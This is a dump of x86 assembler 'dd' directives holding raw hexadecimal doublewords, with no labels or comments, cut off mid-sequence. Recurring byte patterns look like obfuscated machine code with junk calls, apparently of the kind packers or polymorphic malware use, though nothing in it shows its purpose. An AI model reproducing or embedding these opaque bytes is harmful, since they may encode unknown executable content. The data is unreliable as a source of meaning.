		dd 0E99D8B9Bh, 50061B1Bh, 78D0Fh, 0BF530000h, 3BF0F1DBh
		dd 2404895Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	1AC35343h, 6AEB42h, 9AA1E381h, 26683A3Ch, 0E9E2027Bh
		dd 7, 3382A06h,	819597E3h, 88D92404h, 6A1E1Ch, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B3BB5FC3h, 0DE146D78h, 66C215D8h, 95FFF98Bh, 61B3235h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 77C35242h
		dd 0C96C8C5Ch, 7B04CE23h, 3119BD8Bh, 8D09061Bh,	61B0845h
		dd 0AD998589h, 0BD8B061Eh, 61B140Dh, 1F3E9h, 5D9D8B00h
		dd 8B061B0Bh, 1EAD9185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0B029467Ah, 4525CFC9h
		dd 8D292E7Fh, 61B25D5h,	1800C7h, 0B58B0000h, 61EAD95h
		dd 89D8B70Fh, 1B21419Dh, 29858B06h, 6A061B12h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0ECCDC353h, 1BF19D09h, 689061Bh, 145858Bh, 9D29061Bh
		dd 61B1699h, 6A044689h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0B77DC356h,	6A0AB4B3h
		dd 8B5776CBh, 1B179DBDh, 0BF0F5F06h, 12E850FEh,	93000000h
		dd 72B7E69Eh, 0D14C2873h, 0F0020E9Fh, 70E52673h, 13E82Ah
		dd 0FA0F0000h, 494DCBD7h, 55203DB1h, 8277EE03h,	73924BCDh
		dd 60BF66C8h, 895B5BDEh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 5558F7C3h, 32C604EBh
		dd 25BD0145h, 81061B22h, 4129E4D7h, 91B5FF13h, 6A061EADh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 70FFC352h, 4E8FC24h, 0FF000000h, 50001F03h
		dd 424448Bh, 8BDE8B66h,	0BE3BB00h, 4489714Eh, 0FE8B0424h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0AA3D23E6h, 66F3D89Ch, 9753CF81h, 18C59589h
		dd 858D061Bh, 61EAD99h,	0E850DE8Bh, 5, 0FF2C82E4h, 4895F9Ch
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0C29A6D4Eh, 159763B9h, 0EE9FF07h, 27000000h
		dd 6416BA94h, 42912EEh,	92C34B5Ch, 9E9DBh, 9B750000h, 5967D545h
		dd 0FF7A2DB1h, 1B323595h, 0A1C78006h, 50006A61h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0E949FB9Eh, 0Dh, 5A81FE9Bh, 795C72D6h, 0FF3876DDh, 0D185C708h
		dd 3061B13h, 0F000000h,	58Ch, 0A9B5BB00h, 0BD831E6Fh, 61EAD99h
		dd 34840F00h, 9000000h,	1B18A585h, 44E906h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 57545BC3h, 3EB178E7h, 99D0191h, 50061B24h, 110C30h
		dd 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 4051C9C3h, 6252BF66h
		dd 83FA8B66h, 1B13D1BDh, 850F0306h, 41Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0ECC35646h, 661D31A8h
		dd 0A164F781h, 0DE9h, 99015100h, 259D519Ch, 26D266Bh, 0BD899A4Dh
		dd 61B0E99h, 0AD99BD83h, 0F00061Eh, 3D384h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 416102F9h, 0E94BB4B2h, 9, 70BFD858h,	0D96F9064h, 99B5FF1Bh
		dd 0E9061EADh, 0Ah, 77FE1935h, 2C819812h, 95FFB104h, 61B0111h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 20C35040h
		dd 1FCD2E5Fh, 9D52C21Dh, 0F8B70FA8h, 17918D31h,	0B58B061Bh
		dd 61EAD8Dh, 2AC98D89h,	6C7061Bh, 10001h, 96F8B70Fh, 0B0E66ABBh
		dd 8B60500Ch, 15850FD3h, 0E8000000h, 0Fh, 6EED83C3h, 7F6B9C0Bh
		dd 891F19F4h, 5F2A4934h, 9D899661h, 61B08FDh, 0AD99B5FFh
		dd 0D780061Eh, 0C995FFE1h, 6A061B1Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 3657C353h
		dd 12136F6Ah, 9851711Ch, 0F5BD8B60h, 81061B31h,	0A1E0FFC8h
		dd 0B58B6120h, 61EAD8Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0E8C35646h, 0A0D823D3h, 816625A8h, 8B368FC3h
		dd 1B0D2585h, 10E906h, 78750000h, 0ED65AC4Fh, 7BB4A270h
		dd 2D0B45E9h, 86898E3Ch, 0C4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0FDC35343h,	853189DAh, 61B0995h
		dd 2429958Bh, 9D89061Bh, 61B3281h, 83DEDB80h, 6A04C2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 49CC4EC3h, 910A2572h, 89205089h, 1B253D8Dh, 0C7858D06h
		dd 6A061EC0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 4003C356h, 0BD295B17h,	61B1305h
		dd 0B88689h, 6AF90000h,	0D9BF6600h, 99B5FFCBh, 0E9061EADh
		dd 14h,	972FFD8Dh, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh
		dd 142D95FFh, 13E9061Bh, 1C000000h, 0E459D06Dh,	0A16BFEA5h
		dd 0B337D431h, 8B697B34h, 66502786h, 898C46BBh,	6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0D7245DC3h, 8D891BC5h, 61B1675h, 0CE9h, 0C7C3EE00h
		dd 2631C300h, 0F9E9775Bh, 3BBB66D1h, 99B5FFE3h,	6A061EADh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 6A7CC353h, 0FFADA52Dh, 1B1B9195h,	81BD8306h
		dd 61B0Ch, 0D840Fh, 0BD8B0000h,	61B078Dh, 24348950h, 0FFF9B70Fh
		dd 1EAD99B5h, 4890F06h,	66000000h, 0FF30D8BFh, 1B0BD595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0B1F70CFFh, 895B9B83h, 1B2469B5h, 0DF8B6606h
		dd 0AD99B5FFh, 6A061Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 7DE5E5C3h, 0F5B529E5h, 0FF061B21h
		dd 1B1A0995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 83A5EB14h, 1B07A5BDh, 840F0206h
		dd 5Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 53C35545h, 2B0D72E1h, 1B0105BDh, 31858B06h, 6A061B30h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 8306C350h, 3A2CEF86h, 9D31FC00h, 61B1F29h
		dd 810000C6h, 48D96D3h,	0D585C74Fh, 61B2Bh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 8C47C350h, 8529A669h, 61B0C01h, 0FFF3BDE9h
		dd 8B0BB3FFh, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0DBA4A084h, 870FB412h, 6,	0ACDBD8Bh
		dd 0BD09061Bh, 61B2A19h, 32ED858Dh, 8166061Bh, 0F8BF5C3h
		dd 0E950DABFh, 14h, 1C1BDCC2h, 0D440F28h, 0CF0C5783h, 0B3E738CEh
		dd 88E67E4h, 66240489h,	0CD6DDF81h, 6E8006Ah, 40000000h
		dd 0AE3FF4D5h, 5BD019Ch, 5F061B13h, 9D8B006Ah, 61B1A8Dh
		dd 0ACA0858Dh, 0FC53061Fh, 5C0835Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 7C35242h, 0C794F209h, 0F0C17DBh
		dd 0B6EB81F8h, 0F22CE8Bh, 0F90FFBFh, 0C89h, 6870F00h, 50000000h
		dd 5A310F52h, 0E2BB5058h, 904E29F4h, 0BB66D88Bh, 6A436Fh
		dd 14E8006Ah, 0AA000000h, 0F6DCEF76h, 2597738Fh, 605B395Dh
		dd 0F677F22Ah, 89D8AB80h, 1B02D185h, 10E85F06h,	0F0000000h
		dd 49A834A2h, 8344C586h, 0D0956F7Ch, 0E8316951h, 9, 8644B2B1h
		dd 0A1101F6Ah, 5B5B51A8h, 195FF5Bh, 6A061B1Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 557DC352h, 550CC57Eh, 61A6B160h, 92B78D8Dh, 0BD8B061Eh
		dd 61B11D1h, 0E856D1FFh, 10h, 0D1B9C023h, 0E1E63042h, 107870Fh
		dd 3299BF77h, 0DD7FBF66h, 0BD835B5Fh, 61B1CD5h,	46850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 64B4C352h, 62942FA4h, 6AFB8B66h
		dd 0FBB70F02h, 50DA8B90h, 239009B7h, 1B29BD9Dh,	0FFD88B06h
		dd 1B142D95h, 9D295306h, 61B0A79h, 0C77E95Fh, 0E80000h
		dd 5D000000h, 0ACAAED81h, 9D8B061Fh, 61B0199h, 1271BD8Bh
		dd 0CE8061Bh, 68000000h, 0DA8D81Bh, 883B5D1Fh, 0FB2DCCBh
		dd 28Eh, 5B14B300h, 853D858Dh, 6A061Eh,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 868F63C3h
		dd 33EF8133h, 602D0BE3h, 12C98166h, 41BD0125h, 61061B14h
		dd 5E990h, 21C30000h, 50ECC70Fh, 0B7605250h, 310F614Bh
		dd 5E9h, 0E1E74600h, 585AC13Eh,	7E890h,	871D0000h, 0AAFD1665h
		dd 0E4C381DCh, 5F65A710h, 35FF64h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0ED08C352h, 74DBD695h, 0DFB70FDAh, 727DEB81h, 89647F51h
		dd 25h,	39BD8B00h, 0FF061B09h, 1B2B0D85h, 3D858906h, 8B061B0Eh
		dd 1B1EC99Dh, 6AFF6A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0D108C352h,	1E6884A3h
		dd 1985899Fh, 0FF061B11h, 1B2299B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FC781F8h
		dd 0BB005B55h, 55DB8DEh, 0C798D89h, 95FF061Bh, 61B0805h
		dd 0FBE9h, 80A7B700h, 0B0A5C3h,	29C58D31h, 70E6061Bh, 71E4A7B3h
		dd 8D8B6052h, 61B326Dh,	0E740EA81h, 5F617BA2h, 830F613Ch
		dd 0D0h, 12E8h,	0FB343300h, 373BB1Fh, 0A96A20ECh
		dd 5DB4D9Dh, 31873A0Dh,	1B1D059Dh, 0B60F5B06h, 1D9D03C8h
		dd 0BA061B0Fh, 6, 0FC18BF8h, 687h, 2CE78100h, 0C109A8BDh
		dd 0B58904E8h, 61B16C5h, 2BE2F766h, 0F98B66C8h,	7DE9D18Bh
		dd 8B000000h, 1B0BD1BDh, 8858B06h, 0E9000000h, 8, 0F667DC8Eh
		dd 43CD8A30h, 0BF07C083h, 7BD32A82h, 52AAEB81h,	0C0834E0Bh
		dd 0FD03B00h, 1683h, 798D0900h,	51061B23h, 2975BD8Bh, 0E95B061Bh
		dd 38h,	8BFFBF0Fh, 0FFFFFF8Dh, 699D8BFFh, 66061B07h, 837886BBh
		dd 840F01E1h, 1Ch, 1DFBBB66h, 0FFFFA583h, 89FEFFFFh, 895h
		dd 0D5B58900h, 0E9061B25h, 0
		dd 2E8FB58Dh, 8E0F061Fh, 5, 0BCE38166h,	80006A68h, 95FFEBF7h
		dd 61B2205h, 3ACB8166h,	0A0CB81D7h, 0B92498E0h,	1001h
		dd 0E98D89h, 0E183061Bh, 419D0BFCh, 0FC061B01h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8FC35242h, 64661C1h
		dd 840FAD46h, 0
		dd 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BAF1C3h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3BB4C356h
		dd 0C233AD41h, 0D003E8D1h, 7504E983h, 0E18D89F4h, 0D061B18h
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
		dd 0F3C35747h, 51A252B9h, 11BB6653h, 8B5B5F3Bh,	1B242995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B70FC247h, 658D8BF9h, 66061B07h, 8B50FA8Bh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 85895260h
		dd 61B1A49h, 0CE95Fh, 16470000h, 0F89367AFh, 0BEDBD0BFh
		dd 6A61A76Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0F1E5C357h, 0A806C06Ah, 0F4DE181Bh
		dd 1769BD83h, 0F00061Bh, 6784h,	0A1953100h, 0BB061B0Ch
		dd 72FCB6F4h, 0B8h, 0CE900h, 2B860000h,	591EDA60h, 6DA786Ah
		dd 8D8D5262h, 61B4CD3h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 33C35343h, 19E05767h,	63BB4FF3h, 0E831C9A3h
		dd 8, 0AC1E37D9h, 0AAFF8A4Ah, 5BF88B66h, 8D89E1FFh, 61B2FB9h
		dd 13D1BD83h, 0F00061Bh, 36384h, 0D3816600h, 0BD83AAE3h
		dd 61B13D1h, 6C840F01h,	6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 457CC352h
		dd 0EF817460h, 537D5233h, 0BD83F88Bh, 61B13D1h,	2860F03h
		dd 81000003h, 0F87B08EBh, 0BD8B6060h, 61B2D75h,	6AD98C66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 7326C356h, 0E180339Ch, 8E904h, 0BAD70000h
		dd 0D9A4AE77h, 0C90ABCB2h, 9A840Fh, 8BFC0000h, 1B014585h
		dd 33D98B06h, 1B2A3185h, 79BD8B06h, 31061B06h, 1B2E9595h
		dd 8B665006h, 240489FAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 98C35343h, 890B8F1Eh,	1B10659Dh, 0EECB8106h
		dd 6A6555F1h, 0F5958900h, 68061B08h, 0E4177ABBh, 11E8h
		dd 0D30C1B00h, 0CA9BE4E7h, 731876FDh, 68E8E54Eh, 815FA142h
		dd 89442404h, 8D891C07h, 61B19A1h, 323595FFh, 9D31061Bh
		dd 61B1AA1h, 0AD998589h, 8166061Eh, 0E972FCCBh,	168h, 0AD91858Bh
		dd 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FA838C3h, 689h, 0F5858900h, 0C7061B32h
		dd 1800h, 0AABE6000h, 6639792Fh, 6198F9BEh, 0AD95B58Bh
		dd 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B5094BC3h, 61B0C85h, 1229858Bh, 9D23061Bh
		dd 61B2F1Dh, 840F0689h,	6, 16B18589h, 858B061Bh, 61B0145h
		dd 2BF1BD8Bh, 4689061Bh, 218D8904h, 96061B0Eh, 8B525057h
		dd 0E9310FFBh, 0Bh, 3BD3A029h, 31C26256h, 5ABED7B7h, 56505F58h
		dd 5FF98A57h, 6A965Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 173FC3h,	81B884F3h, 0A308A1D7h
		dd 91B5FF69h, 6A061EADh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0DBFCC357h,	89CFF70Ah
		dd 1B0BE9BDh, 932E6806h, 481CAE2h, 3C70D124h, 2830F35h
		dd 8B000000h, 99858DD8h, 89061EADh, 1B32F195h, 0F5BB5006h
		dd 893D0BF1h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 29E138C3h, 93EDC6C9h, 0FFFEB70Fh
		dd 1B323595h, 85958906h, 0FC061B08h, 55006A61h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 1CB2793Bh
		dd 0F41BF411h, 3DBD8BD5h, 0C7061B19h, 1B13D185h, 306h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 373C84E7h, 0E1EFB1ABh, 0BD83D3B6h, 61EAD99h
		dd 52840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0E215C353h,	0F57D75CEh
		dd 8B6CD1BBh, 1B086D9Dh, 3EE906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BE15DC3h
		dd 1B24F9BDh, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 93C35343h, 0C28E4125h, 335C4CA5h, 0D3FCB81h
		dd 0BD8372E3h, 61B13D1h, 3C850F03h, 89000004h, 1B17FD95h
		dd 99BD8306h, 61EADh, 429840Fh,	7E90000h, 0F4000000h, 0A99F2272h
		dd 0B5FF9378h, 61EAD99h, 2EB5BD8Bh, 95FF061Bh, 61B0111h
		dd 2B11BD89h, 0B58B061Bh, 61EAD8Dh, 5E9h, 0F6D4CA00h, 6C782B7h
		dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0D7C35343h, 242C214Eh, 9BD89C4h, 96061B33h, 6E850h
		dd 810C0000h, 29782F58h, 8E8h, 0FAC1900h, 0DD4CD498h, 6E82Bh
		dd 0B11F0000h, 0AAB1AC3Bh, 965F5F5Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0A1C35747h,	0E780628Eh, 99B5FF0Ch
		dd 6A061EADh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0DE68C353h, 5A0B5CC4h,	0B7C80718h
		dd 0C995FF89h, 6A061B1Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 6DC7C355h, 8A0E4619h
		dd 8DB58BF9h, 6A061EADh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0B3A7C350h,	0DF8B5D24h
		dd 8056E780h, 858B9EEFh, 61B0D25h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0A2C35242h,	14E9h, 0B0795900h
		dd 7491FAF9h, 0A10D2248h, 33605A03h, 228E6139h,	0C48689A3h
		dd 0F000000h, 28Eh, 8BEBB700h, 1B242995h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 83581198h, 8D0F04C2h, 11h, 0AE953h, 58990000h, 44556317h
		dd 47F39113h, 2050895Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 0F1C35040h, 90901FEAh, 8DB04BFBh, 1EC0C785h
		dd 0F3816606h, 8689E08Bh, 0B8h,	518420BBh, 0E8006A12h
		dd 0Dh,	62301E73h, 1A79134Ch, 7A02A887h, 28D3819Dh, 5B0DAB01h
		dd 0AD99B5FFh, 0C780061Eh, 2D95FF63h, 0E8061B14h, 11h
		dd 39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh,	5E5660DBh
		dd 24B9BD89h, 5B61061Bh, 0D88B6650h, 6A243489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0DCDAC356h, 136B20F3h, 299D8B6Eh, 0FF061B29h, 1EAD99B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0E11B67Fh, 3227E7DCh, 0E7D9D09h,	95FF061Bh
		dd 61B1B91h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0C8C35040h, 76B55ED9h, 9E8A6A0h, 16000000h, 318BB24Eh
		dd 3FA4349Eh, 5BDA8B66h, 0C81BD83h, 0F00061Bh, 3F84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0DE717391h, 4EC9A193h, 65BD8Bh, 0BB96061Bh, 7A7EDFA3h
		dd 8A525050h, 5A310FFAh, 8D299658h, 61B079Dh, 0AD99B5FFh
		dd 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E45AFFC3h, 5E9F88Bh, 51000000h, 26E8C3E9h
		dd 0BD595FFh, 6A061Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0DED757C3h, 0DF8057B9h, 99B5FF79h
		dd 6A061EADh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0DA90C352h, 0EBD2A22Eh, 0C2AD972Bh
		dd 0BC9FD781h, 95FF0BDCh, 61B1A09h, 0A5BD83F8h,	2061B07h
		dd 5E840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 180424h, 57470000h, 2DABB3C3h, 870F025Ch, 3,	8BFA8B66h
		dd 1B303185h, 0FA8B6606h, 6A0000C6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0AC3C351h
		dd 0BD895A2Fh, 61B02D9h, 5B59BB66h, 2BD585C7h, 61Bh, 0FDBF0000h
		dd 0E91D2271h, 0FFFFF4A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0B4C35545h, 0E15118h,	6606665Dh, 81C18BB9h
		dd 5DF72CDFh, 0ED858D45h, 0F061B32h, 68Fh, 219D8B00h, 50061B0Eh
		dd 489D88Bh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 3880ED75h, 0DABF0FD9h, 0A2A7F381h
		dd 880F5558h, 16h, 11E9h, 0B2D49600h, 42772EE9h, 0AA3D23E6h
		dd 0DCF3D89Ch, 6AD2DAh,	12E8h, 16544C00h, 318BB24Eh, 3FA4349Eh
		dd 9BF0FA9Eh, 0E99E9636h, 10h, 0A6625279h, 68728E4h, 60FAAEB5h
		dd 0B1254393h, 0E8006A5Fh, 9, 0E480E9FCh, 96A0C692h, 858D5B50h
		dd 61FBB74h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	2BC35646h, 84504BDBh, 630C4BC7h, 5C08378h, 0B11BD09h
		dd 5050061Bh, 63ABB52h,	310F4BFFh, 13E9h, 0B686700h, 0F6AA4FC6h
		dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 489585Ah,	53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 30CCE76Bh, 8B502580h, 1B1D5D9Dh, 0BE806h, 69930000h
		dd 0F1AFD033h, 0EFD0F38Ch, 6A5FF5D6h, 8BFE8B00h, 1B2BF19Dh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0B23DC355h, 38562198h,	66BA04DFh
		dd 14E8h, 0BEB90700h, 3AEDF738h, 662D25E7h, 40FB2756h
		dd 0F2308E5Fh, 259D8BD5h, 5F061B2Bh, 0FE9h, 0E0B3C300h
		dd 0A1C94AE5h, 95741C27h, 70B6797h, 1A0195FFh, 6A061Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 6DCE6AC3h, 13EF131Ah, 5E892h, 55040000h, 894D4FFFh
		dd 1B2EA5BDh, 0B5895F06h, 61B06B5h, 92B78D8Dh, 6A061Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 72A9C9C3h, 751C645h,	0BD8B60FBh, 61B1E95h, 21DD8D01h
		dd 0D1FF061Bh, 0BD83DF8Bh, 61B1CD5h, 3A850F01h,	66000000h
		dd 0F675C381h, 9589026Ah, 61B0A71h, 5850F90h, 0BB000000h
		dd 5EA9EF11h, 6ABE6050h, 6178A25Fh, 0E19D8B90h,	23061B1Eh
		dd 1B1111BDh, 2D95FF06h, 89061B14h, 1B258D8Dh, 0CCAE906h
		dd 0E80000h, 5D000000h,	0BB7EED81h, 0D88A061Fh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3AC35545h, 7907EF27h
		dd 0FAB70FA6h, 853D858Dh, 7E9061Eh, 7A000000h, 4EA00E6Dh
		dd 6650EAD4h, 489D88Bh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 3B2063F4h, 0FF64F6EDh
		dd 35h,	0CDBD8B00h, 64061B22h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 9DA2BBC3h, 0C14C38h,	0BF0F527Dh, 0D85FFFBh, 6A061B2Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 745CC357h, 0F145EF55h, 74BD6BCAh,	0EE9h
		dd 0AD90C00h, 0C7FA9F1Dh, 21179651h, 6682C85Bh,	6D2FE781h
		dd 0A5B7FF6Ah, 249DB5FFh, 8D89061Bh, 61B07CDh, 5FC98060h
		dd 0FF61DA8Ah, 1B080595h, 14CE906h, 9D8B0000h, 61B0655h
		dd 0BD8900B0h, 61B23F1h, 70E6FE8Ah, 0DE9h, 7F7CF300h, 920A2C9Fh
		dd 2BF8DFFCh, 71E494E2h, 0AEBE6660h, 0DEBF0FD3h, 0F613C61h
		dd 11583h, 880F00h, 0F000000h, 9D8BC8B6h, 61B1259h, 6BAh
		dd 0DE900h, 0F56C0000h,	2FA464B4h, 0D9086294h, 8B751E1Eh
		dd 299D8BC1h, 0C1061B29h, 0D88B04E8h, 89E2F766h, 1B16A185h
		dd 8BC82B06h, 1B2AF59Dh, 52D18B06h, 68C0Fh, 0BD890000h
		dd 61B0DC1h, 0BCE95Bh, 85890000h, 61B1EDDh, 1858Bh, 0CE90000h
		dd 85000000h, 1D7A8232h, 653A7B4Fh, 0BFBAE66Bh,	27C0ED3Bh
		dd 0E807C083h, 8, 8DB49C66h, 0FDD8B6A4h, 25FDBD8Bh, 0E85B061Bh
		dd 0Bh,	16528537h, 8B310E8Ch, 89FD70AEh, 1B2B1185h, 0C0835F06h
		dd 51BF6600h, 0FD03BF1h, 0E83h,	0A9B52900h, 0E9061B07h
		dd 52h,	8BF9B70Fh, 0FFFFFF8Dh, 19BD89FFh, 81061B02h, 0D67D80E3h
		dd 1E18366h, 34840Fh, 8B520000h, 0A5835FDFh, 0FFFFFFFFh
		dd 13E9FEh, 6F790000h, 19C2BAA8h, 0E6FCEB6Dh, 4E2E8EB5h
		dd 508D28BAh, 1958976h,	8B000000h, 1B0B11BDh, 0E906h, 0B58D0000h
		dd 61F3E90h, 0AA1B529h,	6A061Bh, 0FFF3EF80h, 1B220595h
		dd 258D8906h, 0B9061B09h, 0F2Fh, 9919D09h, 0E183061Bh
		dd 0B9B589FCh, 0BF061B0Dh, 27B0E69Ch, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0A5158DB7h, 92DBD2Bh, 0BF66061Bh, 0B82E28h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 56DC355h,	6AD22Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0D39C13C3h, 0E9A29EF7h
